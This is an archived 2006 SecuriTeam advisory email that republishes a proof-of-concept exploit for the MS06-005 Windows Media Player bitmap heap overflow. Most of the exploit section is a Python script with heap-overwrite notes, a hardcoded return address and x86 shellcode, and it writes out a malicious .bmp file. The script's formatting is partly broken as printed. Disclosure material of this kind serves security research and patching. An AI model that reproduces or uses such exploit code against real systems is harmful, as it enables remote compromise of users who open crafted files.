

[EXPL] Windows Media Player Remote Code Execution MS06-005 – Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00061.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 19 Feb 2006 15:52:26 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Windows Media Player Remote Code Execution MS06-005 – Exploit

SUMMARY

Windows Media Player has a remote code execution due to bad processing of bitmap files.

A specially crafted bitmap file (.bmp) could potentially allow remote code execution if found on a Web site or in an e-mail message. This allows the attacker to completely take over the attacked system but only with significant user interaction.

DETAILS

Vulnerable Systems:

- * Windows Media Player for XP on Microsoft Windows XP Service Pack 1
- * Windows Media Player 9 on Microsoft Windows XP Service Pack 2
- * Windows Media Player 9 on Microsoft Windows Server 2003
- * Microsoft Windows 98
- * Microsoft Windows 98 Second Edition (SE)
- * Microsoft Windows Millennium Edition (ME)
- * Microsoft Windows Media Player 7.1 when installed on Windows 2000 Service Pack 4

[EXPL] Windows Media Player Remote Code Execution MS06-005 – Exploit

- * Microsoft Windows Media Player 9 when installed on Windows 2000 Service Pack 4 or Windows XP Service Pack 1
- * Microsoft Windows Media Player 10 when installed on Windows XP Service Pack 1 or Windows XP Service Pack 2

Immune Systems:

- * Windows Media Player 6.4 on all Microsoft Windows operating systems
- * Windows Media Player 10 on Microsoft Windows Server 2003 Service Pack 1
- * Microsoft Windows XP Professional x64 Edition
- * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- * Microsoft Windows Server 2003 x64 Edition

```
# exploit creator by redsand@xxxxxxxxxxxxxxxxxxxxx
# ms06-005 advisory proof of concept
# heap overflow in wmf.dll @ 0x0035920a
# denial of service, cuz we can't get this to play nice
```

```
# Here are my notes from ms06-005
```

```
#Original heap size is 16bytes?!
```

```
#malloc = 2052 (0x804)
# RtlAllocateHeap = 2064 (0x810)
```

```
#0x75de1408 call edi (ntdll.dll)
```

```
#crash @ wmp.dll 0x0035920a
#instruction at 0x75de5872 ref'd mem @ 0xefdeadc2 ( call ecx + 4)
#instruction at 0x07883301 ref'd mem @ DEADBEF7 (deadbeef + 4) (call ecx
+ 8)
#instruction at 0x079d920a ref'd mem @ 0xdeadbeef (mov edx, [eax]) eax=
deadbeef
```

```
#violation when reading 0x888888db (cf + c) mov eax, ds:[eax+c]
```

```
#locate 0xbc34bbbb needs valid EIP etc
```

```
#EIP = UEF location
```

```
#ea- 15e 936 = 464
```

```
#steps for exploitation:
```

```
#break @ all HeapAlloc()s and HeapFree()'s and look for xact size
requested
#once found heapalloc() and accompanying heapfree() of next heap look for
PEB structure address
#Find a reliable function pointer to shellcode and write heap header like
so:
```

```
#payload = body (size of heap) + [ECX ptr to code] + [EIP UEF pointer
```

location – 4]

#if multiple overwrite then:

#payload += body (next heap chunk size) + "\xeb\x04" + EIP

#call edi/eax + 4 or more

#call edi+20 @ 75e1692c

#!!!!!!!!!!!!!!

#don't forget to mention the random call ecx + 4,8,32

#mov dword ptr ecx, ds:[esi] <-- esi is RANDOM cuz i can't control it

#call [ecx+##] <-- where ## is often 4 or 8, but in some cases 0x20

#shamelessly stolen from CANVAS code

def intel_order(i):

str=""

a=chr(i % 256)

i=i >> 8

b=chr(i % 256)

i=i >> 8

c=chr(i % 256)

i=i >> 8

d=chr(i % 256)

str+="%c%c%c%c" % (a,b,c,d)

return str

def stroverwrite(instring,overwritestring,offset):

head=instring[:offset]

#print head

tail=instring[offset+len(overwritestring):]

#print tail

result=head+overwritestring+tail

return result

#options

#SEH HAndle

#anything with a call/jmp edi/ecx + 4 or more

EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut

DUMMY=0xccccccccL

filename = "rb14ck-06-005.bmp"

header =

"\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"

header +=

"\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"

[EXPL] Windows Media Player Remote Code Execution MS06-005 – Exploit

```
header +=
"\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

c0de = "\x90" * 350
c0de += "\xCD\x03"
c0de += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C"
c0de += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C"
c0de += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B"
c0de += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34"
c0de += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74"
c0de += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28"
c0de += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B"
c0de += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"
c0de += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A"
c0de += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8"
c0de += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B"
c0de += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74"
c0de += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"
#tag
c0de += "0wn3dbyr3ds4nd"

for on in range(256):
c0de += intel_order(EIP-80)

body = ""
r=0x88888800L
for on in range(235):
r+=0x01L
body += intel_order(r)

body += c0de

body = stroverwrite(body,intel_order(EIP-4),56)
body = stroverwrite(body,intel_order(EIP),96)
body = stroverwrite(body,intel_order(EIP),160)
body = stroverwrite(body,intel_order(EIP-0x3c),708)
body = stroverwrite(body,intel_order(EIP),828)
body = stroverwrite(body,intel_order(EIP),868)
body = stroverwrite(body,intel_order(EIP),936)
#
#here's our call eax+4
body = stroverwrite(body,intel_order(EIP-4),948)
#
#
body = stroverwrite(body,intel_order(EIP),300)

print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org"
print "Writing filename " + filename + "..."
```

```
try:
fsock = open(filename, "wb+", 0)
try:
fsock.write(header + body );
finally:
fsock.close()
except IOError:
pass

print "success."

#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:redsand@xxxxxxxxxxxxx>>
redsand.
The original article can be found at:
<<http://blacksecurity.org/~redsand/public/MS06-005/>>
<http://blacksecurity.org/~redsand/public/MS06-005/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.